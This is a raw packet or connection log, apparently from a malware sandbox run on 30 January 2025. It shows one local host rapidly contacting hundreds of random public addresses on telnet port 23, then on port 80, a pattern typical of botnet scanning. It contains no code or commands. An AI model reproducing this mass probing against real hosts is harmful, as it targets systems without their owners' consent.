Jan 30, 2025 10:42:58.093950987 CET	23	38884	74.205.71.197	192.168.2.13
Jan 30, 2025 10:42:58.093960047 CET	23	38884	107.189.252.236	192.168.2.13
Jan 30, 2025 10:42:58.093960047 CET	38884	23	192.168.2.13	32.165.221.248
Jan 30, 2025 10:42:58.093976021 CET	23	38884	220.16.35.36	192.168.2.13
Jan 30, 2025 10:42:58.093976974 CET	38884	23	192.168.2.13	107.9.64.4
Jan 30, 2025 10:42:58.093985081 CET	23	38884	40.62.70.158	192.168.2.13
Jan 30, 2025 10:42:58.093993902 CET	23	38884	147.47.44.133	192.168.2.13
Jan 30, 2025 10:42:58.094002008 CET	23	38884	161.1.149.22	192.168.2.13
Jan 30, 2025 10:42:58.094012022 CET	23	38884	32.99.84.88	192.168.2.13
Jan 30, 2025 10:42:58.094017029 CET	38884	23	192.168.2.13	74.205.71.197
Jan 30, 2025 10:42:58.094022036 CET	38884	23	192.168.2.13	220.16.35.36
Jan 30, 2025 10:42:58.094028950 CET	23	38884	72.197.252.45	192.168.2.13
Jan 30, 2025 10:42:58.094032049 CET	38884	23	192.168.2.13	147.47.44.133
Jan 30, 2025 10:42:58.094038963 CET	23	38884	194.136.72.145	192.168.2.13
Jan 30, 2025 10:42:58.094055891 CET	23	38884	4.238.16.219	192.168.2.13
Jan 30, 2025 10:42:58.094065905 CET	23	38884	50.157.47.239	192.168.2.13
Jan 30, 2025 10:42:58.094065905 CET	38884	23	192.168.2.13	40.62.70.158
Jan 30, 2025 10:42:58.094077110 CET	38884	23	192.168.2.13	72.197.252.45
Jan 30, 2025 10:42:58.094084978 CET	38884	23	192.168.2.13	4.238.16.219
Jan 30, 2025 10:42:58.094086885 CET	38884	23	192.168.2.13	194.136.72.145
Jan 30, 2025 10:42:58.094084024 CET	38884	23	192.168.2.13	107.189.252.236
Jan 30, 2025 10:42:58.094089031 CET	38884	23	192.168.2.13	161.1.149.22
Jan 30, 2025 10:42:58.094084024 CET	38884	23	192.168.2.13	32.99.84.88
Jan 30, 2025 10:42:58.094099998 CET	38884	23	192.168.2.13	50.157.47.239
Jan 30, 2025 10:42:58.094113111 CET	23	38884	40.34.207.138	192.168.2.13
Jan 30, 2025 10:42:58.094125032 CET	23	38884	198.154.17.166	192.168.2.13
Jan 30, 2025 10:42:58.094175100 CET	23	38884	184.183.45.213	192.168.2.13
Jan 30, 2025 10:42:58.094181061 CET	38884	23	192.168.2.13	40.34.207.138
Jan 30, 2025 10:42:58.094192982 CET	23	38884	142.197.64.131	192.168.2.13
Jan 30, 2025 10:42:58.094201088 CET	38884	23	192.168.2.13	198.154.17.166
Jan 30, 2025 10:42:58.094202995 CET	23	38884	84.72.147.184	192.168.2.13
Jan 30, 2025 10:42:58.094213009 CET	23	38884	90.25.202.249	192.168.2.13
Jan 30, 2025 10:42:58.094218969 CET	38884	23	192.168.2.13	184.183.45.213
Jan 30, 2025 10:42:58.094222069 CET	23	38884	20.85.161.180	192.168.2.13
Jan 30, 2025 10:42:58.094232082 CET	23	38884	219.105.156.174	192.168.2.13
Jan 30, 2025 10:42:58.094233036 CET	38884	23	192.168.2.13	84.72.147.184
Jan 30, 2025 10:42:58.094238997 CET	38884	23	192.168.2.13	142.197.64.131
Jan 30, 2025 10:42:58.094239950 CET	38884	23	192.168.2.13	90.25.202.249
Jan 30, 2025 10:42:58.094259024 CET	38884	23	192.168.2.13	20.85.161.180
Jan 30, 2025 10:42:58.094270945 CET	38884	23	192.168.2.13	219.105.156.174
Jan 30, 2025 10:42:58.094383001 CET	23	38884	83.26.48.163	192.168.2.13
Jan 30, 2025 10:42:58.094428062 CET	38884	23	192.168.2.13	83.26.48.163
Jan 30, 2025 10:42:58.094779968 CET	23	38884	200.194.11.241	192.168.2.13
Jan 30, 2025 10:42:58.094789028 CET	23	38884	169.67.249.120	192.168.2.13
Jan 30, 2025 10:42:58.094799042 CET	23	38884	68.99.176.173	192.168.2.13
Jan 30, 2025 10:42:58.094806910 CET	23	38884	73.190.171.216	192.168.2.13
Jan 30, 2025 10:42:58.094818115 CET	38884	23	192.168.2.13	200.194.11.241
Jan 30, 2025 10:42:58.094820023 CET	23	38884	194.204.119.206	192.168.2.13
Jan 30, 2025 10:42:58.094825983 CET	38884	23	192.168.2.13	169.67.249.120
Jan 30, 2025 10:42:58.094836950 CET	38884	23	192.168.2.13	68.99.176.173
Jan 30, 2025 10:42:58.094841957 CET	23	38884	169.135.113.166	192.168.2.13
Jan 30, 2025 10:42:58.094851971 CET	23	38884	61.165.128.172	192.168.2.13
Jan 30, 2025 10:42:58.094856024 CET	38884	23	192.168.2.13	73.190.171.216
Jan 30, 2025 10:42:58.094861984 CET	23	38884	82.218.140.116	192.168.2.13
Jan 30, 2025 10:42:58.094868898 CET	38884	23	192.168.2.13	194.204.119.206
Jan 30, 2025 10:42:58.094870090 CET	23	38884	175.117.207.106	192.168.2.13
Jan 30, 2025 10:42:58.094882011 CET	23	38884	12.238.39.10	192.168.2.13
Jan 30, 2025 10:42:58.094902039 CET	38884	23	192.168.2.13	82.218.140.116
Jan 30, 2025 10:42:58.094902992 CET	38884	23	192.168.2.13	169.135.113.166
Jan 30, 2025 10:42:58.094911098 CET	38884	23	192.168.2.13	12.238.39.10
Jan 30, 2025 10:42:58.094926119 CET	38884	23	192.168.2.13	61.165.128.172
Jan 30, 2025 10:42:58.094926119 CET	38884	23	192.168.2.13	175.117.207.106
Jan 30, 2025 10:42:58.094957113 CET	23	38884	174.89.14.249	192.168.2.13
Jan 30, 2025 10:42:58.094995975 CET	38884	23	192.168.2.13	174.89.14.249
Jan 30, 2025 10:42:58.095098019 CET	23	38884	8.153.194.218	192.168.2.13
Jan 30, 2025 10:42:58.095108986 CET	23	38884	61.66.65.115	192.168.2.13
Jan 30, 2025 10:42:58.095118046 CET	23	38884	106.234.59.233	192.168.2.13
Jan 30, 2025 10:42:58.095125914 CET	23	38884	115.202.97.37	192.168.2.13
Jan 30, 2025 10:42:58.095136881 CET	23	38884	166.231.58.19	192.168.2.13
Jan 30, 2025 10:42:58.095138073 CET	38884	23	192.168.2.13	8.153.194.218
Jan 30, 2025 10:42:58.095144987 CET	38884	23	192.168.2.13	61.66.65.115
Jan 30, 2025 10:42:58.095148087 CET	23	38884	166.246.92.23	192.168.2.13
Jan 30, 2025 10:42:58.095158100 CET	38884	23	192.168.2.13	115.202.97.37
Jan 30, 2025 10:42:58.095160007 CET	38884	23	192.168.2.13	106.234.59.233
Jan 30, 2025 10:42:58.095168114 CET	38884	23	192.168.2.13	166.231.58.19
Jan 30, 2025 10:42:58.095180035 CET	38884	23	192.168.2.13	166.246.92.23
Jan 30, 2025 10:42:58.095180035 CET	23	38884	79.86.17.45	192.168.2.13
Jan 30, 2025 10:42:58.095191002 CET	23	38884	48.94.121.86	192.168.2.13
Jan 30, 2025 10:42:58.095200062 CET	23	38884	221.26.88.247	192.168.2.13
Jan 30, 2025 10:42:58.095208883 CET	23	38884	113.45.113.215	192.168.2.13
Jan 30, 2025 10:42:58.095217943 CET	23	38884	158.75.0.129	192.168.2.13
Jan 30, 2025 10:42:58.095220089 CET	38884	23	192.168.2.13	48.94.121.86
Jan 30, 2025 10:42:58.095226049 CET	38884	23	192.168.2.13	79.86.17.45
Jan 30, 2025 10:42:58.095227957 CET	23	38884	76.167.125.58	192.168.2.13
Jan 30, 2025 10:42:58.095244884 CET	38884	23	192.168.2.13	221.26.88.247
Jan 30, 2025 10:42:58.095247984 CET	23	38884	169.4.106.108	192.168.2.13
Jan 30, 2025 10:42:58.095252991 CET	38884	23	192.168.2.13	113.45.113.215
Jan 30, 2025 10:42:58.095257044 CET	23	38884	152.213.176.159	192.168.2.13
Jan 30, 2025 10:42:58.095262051 CET	38884	23	192.168.2.13	158.75.0.129
Jan 30, 2025 10:42:58.095268965 CET	38884	23	192.168.2.13	76.167.125.58
Jan 30, 2025 10:42:58.095268965 CET	23	38884	124.145.232.205	192.168.2.13
Jan 30, 2025 10:42:58.095278978 CET	23	38884	68.14.178.183	192.168.2.13
Jan 30, 2025 10:42:58.095284939 CET	23	38884	211.188.233.37	192.168.2.13
Jan 30, 2025 10:42:58.095288038 CET	38884	23	192.168.2.13	169.4.106.108
Jan 30, 2025 10:42:58.095288038 CET	38884	23	192.168.2.13	152.213.176.159
Jan 30, 2025 10:42:58.095302105 CET	38884	23	192.168.2.13	124.145.232.205
Jan 30, 2025 10:42:58.095309019 CET	38884	23	192.168.2.13	211.188.233.37
Jan 30, 2025 10:42:58.095325947 CET	38884	23	192.168.2.13	68.14.178.183
Jan 30, 2025 10:42:58.095581055 CET	23	38884	211.100.46.15	192.168.2.13
Jan 30, 2025 10:42:58.095632076 CET	38884	23	192.168.2.13	211.100.46.15
Jan 30, 2025 10:42:58.095668077 CET	23	38884	14.249.62.74	192.168.2.13
Jan 30, 2025 10:42:58.095678091 CET	23	38884	201.206.235.121	192.168.2.13
Jan 30, 2025 10:42:58.095685959 CET	23	38884	46.28.123.170	192.168.2.13
Jan 30, 2025 10:42:58.095695019 CET	23	38884	35.87.6.199	192.168.2.13
Jan 30, 2025 10:42:58.095702887 CET	23	38884	204.25.184.242	192.168.2.13
Jan 30, 2025 10:42:58.095709085 CET	38884	23	192.168.2.13	201.206.235.121
Jan 30, 2025 10:42:58.095714092 CET	38884	23	192.168.2.13	14.249.62.74
Jan 30, 2025 10:42:58.095721006 CET	23	38884	219.152.139.69	192.168.2.13
Jan 30, 2025 10:42:58.095730066 CET	38884	23	192.168.2.13	35.87.6.199
Jan 30, 2025 10:42:58.095732927 CET	38884	23	192.168.2.13	204.25.184.242
Jan 30, 2025 10:42:58.095733881 CET	38884	23	192.168.2.13	46.28.123.170
Jan 30, 2025 10:42:58.095737934 CET	23	38884	125.118.36.236	192.168.2.13
Jan 30, 2025 10:42:58.095746994 CET	23	38884	131.132.195.163	192.168.2.13
Jan 30, 2025 10:42:58.095756054 CET	23	38884	34.165.15.57	192.168.2.13
Jan 30, 2025 10:42:58.095763922 CET	38884	23	192.168.2.13	219.152.139.69
Jan 30, 2025 10:42:58.095767021 CET	23	38884	164.232.26.168	192.168.2.13
Jan 30, 2025 10:42:58.095774889 CET	38884	23	192.168.2.13	125.118.36.236
Jan 30, 2025 10:42:58.095784903 CET	23	38884	154.124.149.106	192.168.2.13
Jan 30, 2025 10:42:58.095793962 CET	23	38884	13.102.193.23	192.168.2.13
Jan 30, 2025 10:42:58.095794916 CET	38884	23	192.168.2.13	164.232.26.168
Jan 30, 2025 10:42:58.095802069 CET	38884	23	192.168.2.13	34.165.15.57
Jan 30, 2025 10:42:58.095802069 CET	38884	23	192.168.2.13	131.132.195.163
Jan 30, 2025 10:42:58.095805883 CET	23	38884	36.208.128.99	192.168.2.13
Jan 30, 2025 10:42:58.095819950 CET	38884	23	192.168.2.13	154.124.149.106
Jan 30, 2025 10:42:58.095822096 CET	38884	23	192.168.2.13	13.102.193.23
Jan 30, 2025 10:42:58.095844030 CET	23	38884	173.122.114.80	192.168.2.13
Jan 30, 2025 10:42:58.095854044 CET	38884	23	192.168.2.13	36.208.128.99
Jan 30, 2025 10:42:58.095855951 CET	23	38884	114.182.61.108	192.168.2.13
Jan 30, 2025 10:42:58.095866919 CET	23	38884	20.22.168.18	192.168.2.13
Jan 30, 2025 10:42:58.095875978 CET	23	38884	97.122.121.140	192.168.2.13
Jan 30, 2025 10:42:58.095880032 CET	38884	23	192.168.2.13	173.122.114.80
Jan 30, 2025 10:42:58.095884085 CET	38884	23	192.168.2.13	114.182.61.108
Jan 30, 2025 10:42:58.095885992 CET	23	38884	172.94.160.157	192.168.2.13
Jan 30, 2025 10:42:58.095896006 CET	23	38884	53.237.25.40	192.168.2.13
Jan 30, 2025 10:42:58.095899105 CET	38884	23	192.168.2.13	20.22.168.18
Jan 30, 2025 10:42:58.095899105 CET	38884	23	192.168.2.13	97.122.121.140
Jan 30, 2025 10:42:58.095904112 CET	23	38884	182.93.137.20	192.168.2.13
Jan 30, 2025 10:42:58.095912933 CET	23	38884	120.184.206.102	192.168.2.13
Jan 30, 2025 10:42:58.095930099 CET	23	38884	131.228.2.115	192.168.2.13
Jan 30, 2025 10:42:58.095932961 CET	38884	23	192.168.2.13	53.237.25.40
Jan 30, 2025 10:42:58.095936060 CET	38884	23	192.168.2.13	172.94.160.157
Jan 30, 2025 10:42:58.095936060 CET	38884	23	192.168.2.13	182.93.137.20
Jan 30, 2025 10:42:58.095941067 CET	38884	23	192.168.2.13	120.184.206.102
Jan 30, 2025 10:42:58.095942020 CET	23	38884	73.124.85.172	192.168.2.13
Jan 30, 2025 10:42:58.095952034 CET	23	38884	50.222.74.235	192.168.2.13
Jan 30, 2025 10:42:58.095961094 CET	23	38884	173.83.162.123	192.168.2.13
Jan 30, 2025 10:42:58.095963955 CET	38884	23	192.168.2.13	131.228.2.115
Jan 30, 2025 10:42:58.095971107 CET	23	38884	186.255.85.124	192.168.2.13
Jan 30, 2025 10:42:58.095978975 CET	23	38884	147.107.108.62	192.168.2.13
Jan 30, 2025 10:42:58.095982075 CET	38884	23	192.168.2.13	73.124.85.172
Jan 30, 2025 10:42:58.095984936 CET	38884	23	192.168.2.13	50.222.74.235
Jan 30, 2025 10:42:58.096002102 CET	38884	23	192.168.2.13	147.107.108.62
Jan 30, 2025 10:42:58.096004963 CET	38884	23	192.168.2.13	173.83.162.123
Jan 30, 2025 10:42:58.096004963 CET	38884	23	192.168.2.13	186.255.85.124
Jan 30, 2025 10:42:58.096431017 CET	23	38884	109.62.64.36	192.168.2.13
Jan 30, 2025 10:42:58.096441031 CET	23	38884	148.47.171.197	192.168.2.13
Jan 30, 2025 10:42:58.096450090 CET	23	38884	106.150.31.61	192.168.2.13
Jan 30, 2025 10:42:58.096457958 CET	23	38884	73.123.232.45	192.168.2.13
Jan 30, 2025 10:42:58.096467018 CET	23	38884	54.131.155.219	192.168.2.13
Jan 30, 2025 10:42:58.096468925 CET	38884	23	192.168.2.13	109.62.64.36
Jan 30, 2025 10:42:58.096474886 CET	38884	23	192.168.2.13	148.47.171.197
Jan 30, 2025 10:42:58.096486092 CET	38884	23	192.168.2.13	106.150.31.61
Jan 30, 2025 10:42:58.096489906 CET	23	38884	204.4.70.205	192.168.2.13
Jan 30, 2025 10:42:58.096498013 CET	38884	23	192.168.2.13	73.123.232.45
Jan 30, 2025 10:42:58.096503973 CET	38884	23	192.168.2.13	54.131.155.219
Jan 30, 2025 10:42:58.096513987 CET	23	38884	43.107.135.236	192.168.2.13
Jan 30, 2025 10:42:58.096524000 CET	38884	23	192.168.2.13	204.4.70.205
Jan 30, 2025 10:42:58.096532106 CET	23	38884	1.35.179.187	192.168.2.13
Jan 30, 2025 10:42:58.096540928 CET	23	38884	200.224.74.183	192.168.2.13
Jan 30, 2025 10:42:58.096550941 CET	23	38884	123.150.85.78	192.168.2.13
Jan 30, 2025 10:42:58.096551895 CET	38884	23	192.168.2.13	43.107.135.236
Jan 30, 2025 10:42:58.096559048 CET	23	38884	199.77.112.175	192.168.2.13
Jan 30, 2025 10:42:58.096566916 CET	38884	23	192.168.2.13	1.35.179.187
Jan 30, 2025 10:42:58.096570015 CET	38884	23	192.168.2.13	200.224.74.183
Jan 30, 2025 10:42:58.096575022 CET	38884	23	192.168.2.13	123.150.85.78
Jan 30, 2025 10:42:58.096577883 CET	23	38884	77.212.187.53	192.168.2.13
Jan 30, 2025 10:42:58.096586943 CET	23	38884	2.49.214.174	192.168.2.13
Jan 30, 2025 10:42:58.096592903 CET	38884	23	192.168.2.13	199.77.112.175
Jan 30, 2025 10:42:58.096596956 CET	38884	23	192.168.2.13	77.212.187.53
Jan 30, 2025 10:42:58.096604109 CET	23	38884	119.193.168.175	192.168.2.13
Jan 30, 2025 10:42:58.096612930 CET	23	38884	212.244.161.30	192.168.2.13
Jan 30, 2025 10:42:58.096616983 CET	38884	23	192.168.2.13	2.49.214.174
Jan 30, 2025 10:42:58.096623898 CET	23	38884	106.64.138.157	192.168.2.13
Jan 30, 2025 10:42:58.096632004 CET	38884	23	192.168.2.13	119.193.168.175
Jan 30, 2025 10:42:58.096633911 CET	23	38884	35.197.252.13	192.168.2.13
Jan 30, 2025 10:42:58.096642971 CET	23	38884	174.198.245.55	192.168.2.13
Jan 30, 2025 10:42:58.096646070 CET	38884	23	192.168.2.13	212.244.161.30
Jan 30, 2025 10:42:58.096652985 CET	23	38884	220.5.232.192	192.168.2.13
Jan 30, 2025 10:42:58.096654892 CET	38884	23	192.168.2.13	106.64.138.157
Jan 30, 2025 10:42:58.096662998 CET	23	38884	130.31.220.136	192.168.2.13
Jan 30, 2025 10:42:58.096666098 CET	38884	23	192.168.2.13	174.198.245.55
Jan 30, 2025 10:42:58.096667051 CET	38884	23	192.168.2.13	35.197.252.13
Jan 30, 2025 10:42:58.096673012 CET	23	38884	184.33.137.207	192.168.2.13
Jan 30, 2025 10:42:58.096681118 CET	23	38884	155.92.236.191	192.168.2.13
Jan 30, 2025 10:42:58.096690893 CET	38884	23	192.168.2.13	130.31.220.136
Jan 30, 2025 10:42:58.096692085 CET	38884	23	192.168.2.13	220.5.232.192
Jan 30, 2025 10:42:58.096703053 CET	38884	23	192.168.2.13	184.33.137.207
Jan 30, 2025 10:42:58.096712112 CET	23	38884	135.127.114.82	192.168.2.13
Jan 30, 2025 10:42:58.096716881 CET	38884	23	192.168.2.13	155.92.236.191
Jan 30, 2025 10:42:58.096721888 CET	23	38884	221.53.159.232	192.168.2.13
Jan 30, 2025 10:42:58.096731901 CET	23	38884	172.240.116.223	192.168.2.13
Jan 30, 2025 10:42:58.096740007 CET	23	38884	19.107.137.17	192.168.2.13
Jan 30, 2025 10:42:58.096749067 CET	23	38884	85.182.183.229	192.168.2.13
Jan 30, 2025 10:42:58.096754074 CET	38884	23	192.168.2.13	135.127.114.82
Jan 30, 2025 10:42:58.096757889 CET	38884	23	192.168.2.13	221.53.159.232
Jan 30, 2025 10:42:58.096766949 CET	23	38884	201.57.38.151	192.168.2.13
Jan 30, 2025 10:42:58.096766949 CET	38884	23	192.168.2.13	172.240.116.223
Jan 30, 2025 10:42:58.096779108 CET	38884	23	192.168.2.13	85.182.183.229
Jan 30, 2025 10:42:58.096782923 CET	38884	23	192.168.2.13	19.107.137.17
Jan 30, 2025 10:42:58.096801996 CET	38884	23	192.168.2.13	201.57.38.151
Jan 30, 2025 10:42:58.096986055 CET	23	38884	8.230.100.17	192.168.2.13
Jan 30, 2025 10:42:58.096995115 CET	23	38884	40.46.68.189	192.168.2.13
Jan 30, 2025 10:42:58.097002983 CET	23	38884	166.102.74.216	192.168.2.13
Jan 30, 2025 10:42:58.097023010 CET	38884	23	192.168.2.13	8.230.100.17
Jan 30, 2025 10:42:58.097027063 CET	38884	23	192.168.2.13	40.46.68.189
Jan 30, 2025 10:42:58.097038984 CET	38884	23	192.168.2.13	166.102.74.216
Jan 30, 2025 10:42:58.097081900 CET	23	38884	27.69.61.116	192.168.2.13
Jan 30, 2025 10:42:58.097090960 CET	23	38884	144.31.255.0	192.168.2.13
Jan 30, 2025 10:42:58.097100973 CET	23	38884	71.42.188.248	192.168.2.13
Jan 30, 2025 10:42:58.097110987 CET	23	38884	68.229.21.130	192.168.2.13
Jan 30, 2025 10:42:58.097119093 CET	38884	23	192.168.2.13	27.69.61.116
Jan 30, 2025 10:42:58.097120047 CET	23	38884	13.140.222.217	192.168.2.13
Jan 30, 2025 10:42:58.097121954 CET	38884	23	192.168.2.13	144.31.255.0
Jan 30, 2025 10:42:58.097130060 CET	23	38884	186.186.181.27	192.168.2.13
Jan 30, 2025 10:42:58.097137928 CET	38884	23	192.168.2.13	71.42.188.248
Jan 30, 2025 10:42:58.097140074 CET	23	38884	101.190.61.161	192.168.2.13
Jan 30, 2025 10:42:58.097141027 CET	38884	23	192.168.2.13	68.229.21.130
Jan 30, 2025 10:42:58.097155094 CET	38884	23	192.168.2.13	13.140.222.217
Jan 30, 2025 10:42:58.097155094 CET	38884	23	192.168.2.13	186.186.181.27
Jan 30, 2025 10:42:58.097166061 CET	38884	23	192.168.2.13	101.190.61.161
Jan 30, 2025 10:42:58.097182035 CET	23	38884	96.191.140.7	192.168.2.13
Jan 30, 2025 10:42:58.097189903 CET	23	38884	200.97.146.161	192.168.2.13
Jan 30, 2025 10:42:58.097198963 CET	23	38884	222.254.81.6	192.168.2.13
Jan 30, 2025 10:42:58.097207069 CET	23	38884	115.58.196.182	192.168.2.13
Jan 30, 2025 10:42:58.097213984 CET	38884	23	192.168.2.13	96.191.140.7
Jan 30, 2025 10:42:58.097215891 CET	23	38884	98.227.193.228	192.168.2.13
Jan 30, 2025 10:42:58.097222090 CET	38884	23	192.168.2.13	200.97.146.161
Jan 30, 2025 10:42:58.097222090 CET	38884	23	192.168.2.13	222.254.81.6
Jan 30, 2025 10:42:58.097227097 CET	23	38884	72.184.132.79	192.168.2.13
Jan 30, 2025 10:42:58.097234964 CET	23	38884	99.84.104.36	192.168.2.13
Jan 30, 2025 10:42:58.097242117 CET	38884	23	192.168.2.13	115.58.196.182
Jan 30, 2025 10:42:58.097244024 CET	23	38884	200.195.243.176	192.168.2.13
Jan 30, 2025 10:42:58.097249985 CET	38884	23	192.168.2.13	98.227.193.228
Jan 30, 2025 10:42:58.097253084 CET	23	38884	170.245.42.17	192.168.2.13
Jan 30, 2025 10:42:58.097261906 CET	38884	23	192.168.2.13	99.84.104.36
Jan 30, 2025 10:42:58.097266912 CET	38884	23	192.168.2.13	72.184.132.79
Jan 30, 2025 10:42:58.097278118 CET	23	38884	165.34.35.232	192.168.2.13
Jan 30, 2025 10:42:58.097279072 CET	38884	23	192.168.2.13	200.195.243.176
Jan 30, 2025 10:42:58.097285032 CET	38884	23	192.168.2.13	170.245.42.17
Jan 30, 2025 10:42:58.097287893 CET	23	38884	138.214.47.75	192.168.2.13
Jan 30, 2025 10:42:58.097300053 CET	23	38884	81.181.37.131	192.168.2.13
Jan 30, 2025 10:42:58.097311020 CET	23	38884	211.162.105.59	192.168.2.13
Jan 30, 2025 10:42:58.097320080 CET	23	38884	219.176.77.74	192.168.2.13
Jan 30, 2025 10:42:58.097330093 CET	23	38884	31.141.237.207	192.168.2.13
Jan 30, 2025 10:42:58.097337961 CET	23	38884	50.9.1.177	192.168.2.13
Jan 30, 2025 10:42:58.097347021 CET	23	38884	80.2.48.219	192.168.2.13
Jan 30, 2025 10:42:58.097348928 CET	38884	23	192.168.2.13	165.34.35.232
Jan 30, 2025 10:42:58.097348928 CET	38884	23	192.168.2.13	138.214.47.75
Jan 30, 2025 10:42:58.097354889 CET	38884	23	192.168.2.13	211.162.105.59
Jan 30, 2025 10:42:58.097357035 CET	38884	23	192.168.2.13	81.181.37.131
Jan 30, 2025 10:42:58.097363949 CET	23	38884	122.253.99.179	192.168.2.13
Jan 30, 2025 10:42:58.097379923 CET	38884	23	192.168.2.13	219.176.77.74
Jan 30, 2025 10:42:58.097379923 CET	38884	23	192.168.2.13	31.141.237.207
Jan 30, 2025 10:42:58.097379923 CET	38884	23	192.168.2.13	50.9.1.177
Jan 30, 2025 10:42:58.097418070 CET	38884	23	192.168.2.13	80.2.48.219
Jan 30, 2025 10:42:58.097424984 CET	38884	23	192.168.2.13	122.253.99.179
Jan 30, 2025 10:42:58.097606897 CET	23	38884	218.3.87.37	192.168.2.13
Jan 30, 2025 10:42:58.097616911 CET	23	38884	108.205.64.39	192.168.2.13
Jan 30, 2025 10:42:58.097625017 CET	23	38884	136.42.90.243	192.168.2.13
Jan 30, 2025 10:42:58.097635031 CET	23	38884	173.127.205.164	192.168.2.13
Jan 30, 2025 10:42:58.097641945 CET	38884	23	192.168.2.13	218.3.87.37
Jan 30, 2025 10:42:58.097647905 CET	38884	23	192.168.2.13	108.205.64.39
Jan 30, 2025 10:42:58.097652912 CET	23	38884	149.29.72.136	192.168.2.13
Jan 30, 2025 10:42:58.097664118 CET	23	38884	210.54.73.105	192.168.2.13
Jan 30, 2025 10:42:58.097666025 CET	38884	23	192.168.2.13	173.127.205.164
Jan 30, 2025 10:42:58.097671986 CET	23	38884	208.150.40.144	192.168.2.13
Jan 30, 2025 10:42:58.097666979 CET	38884	23	192.168.2.13	136.42.90.243
Jan 30, 2025 10:42:58.097676992 CET	23	38884	61.234.130.133	192.168.2.13
Jan 30, 2025 10:42:58.097692966 CET	38884	23	192.168.2.13	149.29.72.136
Jan 30, 2025 10:42:58.097728968 CET	23	38884	51.221.253.15	192.168.2.13
Jan 30, 2025 10:42:58.097738981 CET	23	38884	89.88.8.45	192.168.2.13
Jan 30, 2025 10:42:58.097748041 CET	38884	23	192.168.2.13	61.234.130.133
Jan 30, 2025 10:42:58.097748995 CET	23	38884	49.153.115.39	192.168.2.13
Jan 30, 2025 10:42:58.097754002 CET	38884	23	192.168.2.13	210.54.73.105
Jan 30, 2025 10:42:58.097754002 CET	38884	23	192.168.2.13	208.150.40.144
Jan 30, 2025 10:42:58.097762108 CET	23	38884	83.47.138.108	192.168.2.13
Jan 30, 2025 10:42:58.097773075 CET	23	38884	57.89.107.240	192.168.2.13
Jan 30, 2025 10:42:58.097784042 CET	23	38884	162.198.251.3	192.168.2.13
Jan 30, 2025 10:42:58.097790956 CET	38884	23	192.168.2.13	83.47.138.108
Jan 30, 2025 10:42:58.097796917 CET	38884	23	192.168.2.13	89.88.8.45
Jan 30, 2025 10:42:58.097796917 CET	38884	23	192.168.2.13	49.153.115.39
Jan 30, 2025 10:42:58.097800016 CET	23	38884	48.244.1.191	192.168.2.13
Jan 30, 2025 10:42:58.097800016 CET	38884	23	192.168.2.13	57.89.107.240
Jan 30, 2025 10:42:58.097807884 CET	38884	23	192.168.2.13	51.221.253.15
Jan 30, 2025 10:42:58.097809076 CET	23	38884	176.28.94.181	192.168.2.13
Jan 30, 2025 10:42:58.097820044 CET	23	38884	188.134.132.254	192.168.2.13
Jan 30, 2025 10:42:58.097820044 CET	38884	23	192.168.2.13	162.198.251.3
Jan 30, 2025 10:42:58.097831011 CET	38884	23	192.168.2.13	48.244.1.191
Jan 30, 2025 10:42:58.097840071 CET	23	38884	207.43.197.1	192.168.2.13
Jan 30, 2025 10:42:58.097846031 CET	38884	23	192.168.2.13	176.28.94.181
Jan 30, 2025 10:42:58.097860098 CET	38884	23	192.168.2.13	188.134.132.254
Jan 30, 2025 10:42:58.097873926 CET	38884	23	192.168.2.13	207.43.197.1
Jan 30, 2025 10:42:58.113234997 CET	38885	80	192.168.2.13	191.252.94.92
Jan 30, 2025 10:42:58.113286972 CET	38885	80	192.168.2.13	116.34.227.92
Jan 30, 2025 10:42:58.113291025 CET	38885	80	192.168.2.13	118.40.123.22
Jan 30, 2025 10:42:58.113302946 CET	38885	80	192.168.2.13	74.228.168.93
Jan 30, 2025 10:42:58.113305092 CET	38885	80	192.168.2.13	209.77.2.157
Jan 30, 2025 10:42:58.113305092 CET	38885	80	192.168.2.13	117.176.214.115
Jan 30, 2025 10:42:58.113321066 CET	38885	80	192.168.2.13	201.240.60.239
Jan 30, 2025 10:42:58.113326073 CET	38885	80	192.168.2.13	79.15.202.40
Jan 30, 2025 10:42:58.113343954 CET	38885	80	192.168.2.13	24.92.71.116
Jan 30, 2025 10:42:58.113349915 CET	38885	80	192.168.2.13	142.153.17.34
Jan 30, 2025 10:42:58.113354921 CET	38885	80	192.168.2.13	39.162.215.37
Jan 30, 2025 10:42:58.113357067 CET	38885	80	192.168.2.13	140.207.66.27
Jan 30, 2025 10:42:58.113360882 CET	38885	80	192.168.2.13	110.189.31.240
Jan 30, 2025 10:42:58.113365889 CET	38885	80	192.168.2.13	37.15.41.187
Jan 30, 2025 10:42:58.113379002 CET	38885	80	192.168.2.13	151.141.250.48
Jan 30, 2025 10:42:58.113383055 CET	38885	80	192.168.2.13	47.210.173.27
Jan 30, 2025 10:42:58.113384962 CET	38885	80	192.168.2.13	158.127.154.218
Jan 30, 2025 10:42:58.113398075 CET	38885	80	192.168.2.13	87.193.63.174
Jan 30, 2025 10:42:58.113398075 CET	38885	80	192.168.2.13	91.139.116.6
Jan 30, 2025 10:42:58.113408089 CET	38885	80	192.168.2.13	133.189.70.235
Jan 30, 2025 10:42:58.113411903 CET	38885	80	192.168.2.13	69.237.129.50
Jan 30, 2025 10:42:58.113411903 CET	38885	80	192.168.2.13	111.239.161.67
Jan 30, 2025 10:42:58.113414049 CET	38885	80	192.168.2.13	179.164.175.64
Jan 30, 2025 10:42:58.113424063 CET	38885	80	192.168.2.13	156.104.231.189
Jan 30, 2025 10:42:58.113428116 CET	38885	80	192.168.2.13	189.109.99.160
Jan 30, 2025 10:42:58.113428116 CET	38885	80	192.168.2.13	114.96.96.32
Jan 30, 2025 10:42:58.113434076 CET	38885	80	192.168.2.13	135.42.237.95
Jan 30, 2025 10:42:58.113436937 CET	38885	80	192.168.2.13	2.63.153.240
Jan 30, 2025 10:42:58.113450050 CET	38885	80	192.168.2.13	140.60.134.231
Jan 30, 2025 10:42:58.113461971 CET	38885	80	192.168.2.13	154.68.83.93
Jan 30, 2025 10:42:58.113472939 CET	38885	80	192.168.2.13	45.97.204.112
Jan 30, 2025 10:42:58.113472939 CET	38885	80	192.168.2.13	132.139.158.115
Jan 30, 2025 10:42:58.113482952 CET	38885	80	192.168.2.13	72.85.35.83
Jan 30, 2025 10:42:58.113481998 CET	38885	80	192.168.2.13	68.131.164.7
Jan 30, 2025 10:42:58.113487959 CET	38885	80	192.168.2.13	81.129.103.114
Jan 30, 2025 10:42:58.113497972 CET	38885	80	192.168.2.13	149.207.40.119
Jan 30, 2025 10:42:58.113508940 CET	38885	80	192.168.2.13	210.44.231.105
Jan 30, 2025 10:42:58.113508940 CET	38885	80	192.168.2.13	184.78.136.240
